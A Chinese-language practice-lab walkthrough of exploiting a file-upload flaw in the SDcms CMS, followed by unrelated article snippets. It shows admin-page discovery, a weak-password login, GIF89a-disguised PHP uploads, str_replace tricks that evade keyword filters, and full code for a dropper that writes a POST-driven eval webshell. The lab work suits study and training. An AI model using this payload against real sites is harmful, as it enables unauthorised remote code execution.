靶场练习——SDcms文件上传漏洞靶场

news/2024/11/28 9:07:55/

文章目录

  • 前言
  • 一、寻找网站后台页面
    • 1、点击请登录,查看URL
    • 2、修改URL参数,找到后台登录页面
  • 二、登录后台管理系统
    • 1、不能使用爆破
    • 2、使用弱口令登录
  • 三、寻找文件上传点
  • 四、上传文件操作
    • 1、上传普通的图片文件,查看数据包
    • 2、尝试上传PHP文件
    • 3、上传phpinfo()函数,获取系统版本信息
    • 4、绕过过滤
  • 五、尝试上传webshell
    • 1、PHP版本注意点
    • 2、尝试在上一级目录创建文件
    • 3、写入shell
    • 4、测试shell


前言

今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:


一、寻找网站后台页面

1、点击请登录,查看URL

在这里插入图片描述
如图所示,登录页面参数是?m=login

2、修改URL参数,找到后台登录页面

尝试把上面URL的参数login改成admin,如下图,进入成功。
在这里插入图片描述


二、登录后台管理系统

1、不能使用爆破

这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
在这里插入图片描述

2、使用弱口令登录

使用账号密码admin/admin,成登录网站后台


三、寻找文件上传点

在这里插入图片描述
找到如图所示的文件上传点


四、上传文件操作

1、上传普通的图片文件,查看数据包

在这里插入图片描述
如图找到文件上传的路径:/upfile/2023/09/

2、尝试上传PHP文件

在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
在这里插入图片描述

尝试访问上传的PHP文件
在这里插入图片描述
访问成功。

3、上传phpinfo()函数,获取系统版本信息

在这里插入图片描述
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。

4、绕过过滤

使用str_replace函数来绕过过滤,方法如下:
在这里插入图片描述
绕过成功

打开网页查看
在这里插入图片描述

如下是绕过代码:

<?php$a = str_replace("0","","p0h0p0i0n0f0o");$a();
?>

五、尝试上传webshell

1、PHP版本注意点

上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件

2、尝试在上一级目录创建文件

如下图,发现上传失败
在这里插入图片描述
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
在这里插入图片描述
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
在这里插入图片描述
在这里插入图片描述
访问成功,这就说明shell.php文件成功生成。

3、写入shell

把里面的$data参数换成shell。
在这里插入图片描述

发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。

在这里插入图片描述

4、测试shell

使用浏览器打开上传的PHP文件,让其运行
在这里插入图片描述

然后再利用webshell工具来连接测试
在这里插入图片描述
连接成功!

编写后的绕过代码:

GIF89a
<?php$filename = "../shell.php";$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';$data = $data1.$data2;$a = "f0o0p0e0n";$open = str_replace("0","",$a);$file = $open($filename,"w");$b = "f0i0l0e_p0u0t_contents";$write = str_replace("0","",$b);$write($filename, $data);fclose($file);
?>

注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。



http://www.ppmy.cn/news/1121367.html

相关文章

基于Spring Boot的网上租贸系统

目录 前言 一、技术栈 二、系统功能介绍 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 本课题是根据用户的需要以及网络的优势建立的一个基于Spring Boot的网上租贸系统&#xff0c;来满足用户网络商品租赁的需求。 本网上租贸系统应用Java技术&#xff0…

使用香橙派学习Linux udev的rules 并实现U盘的自动挂载

在之前编程首先语音刷抖音的博文里提到过udev&#xff0c;现在回顾一下&#xff1a; 什么是udev&#xff1f; udev是一个设备管理工具&#xff0c;udev以守护进程的形式运行&#xff0c;通过侦听内核发出来的uevent来管理/dev目录下的设备文件。udev在用户空间运行&#xff0c;…

研究生选控制嵌入式还是机器视觉好?

研究生选控制嵌入式还是机器视觉好&#xff1f; 我是嵌入式/硬件方向转的算法&#xff0c;现在是公司的算法负责人&#xff0c;如果再让我选一次&#xff0c;我是不会再选嵌入式方 向&#xff0c;嵌入式如果只做技术是没前途的。 你要是有一定自学能力&#xff0c;能自己在学校…

CentOS 7 制作openssl 1.1.1w 版本rpm包 —— 筑梦之路

源码下载地址&#xff1a; https://www.openssl.org/source/openssl-1.1.1w.tar.gz 参考之前的文章&#xff1a; openssl 1.1.1L /1.1.1o/1.1.1t rpm包制作——筑梦之路_openssl的rpm包_筑梦之路的博客-CSDN博客 直接上spec文件&#xff1a; Name: openssl Version: 1.1…

递归常用的三种枚举方式

一.递归实现指数型枚举 #include<bits/stdc.h> using namespace std; #define IOS ios::sync_with_stdio(0),cin.tie(0),cout.tie(0) #define endl \n typedef long long LL; typedef pair<int,int> PII; bool st[20]; int n;void dfs(int u) {if(u > n1){for(…

电路的基本定律——基尔霍夫定律

基尔霍夫定律 &#x1f391;预备知识&#x1f391;基尔霍夫电流定律(KCL)&#x1f383;基尔霍夫电流定律的本质&#xff1a;节点上电荷具有连续性(不会突变)&#x1f383;基尔霍夫电流定律的推广&#xff1a; &#x1f391;基尔霍夫的电压定律(KVL)&#x1f383;基尔霍夫电压定…

Java 项目-基于 SpringBoot+Vue的疫情网课管理系统

文章目录 第一章 简介第二章 技术栈第三章 系统分析3.4.2学生用例 第四章 系统设计第五章 系统实现5.1学生功能模块5.2管理员功能模块5.3教师功能模块 六 源码咨询 第一章 简介 疫情网课也都将通过计算机进行整体智能化操作&#xff0c;实现的功能如下。 例如 管理员&#x…

Kafka入门

1. Kafka简介 Apache Kafka 是LinkedIn公司开发的一款开源的高吞吐、分布式的消息队列系统&#xff0c;它具有高伸缩性、高可靠性和低延迟等特点&#xff0c;因此在大型数据处理场景中备受青睐。Kafka 可以处理多种类型的数据&#xff0c;如事件、日志、指标等&#xff0c;广泛…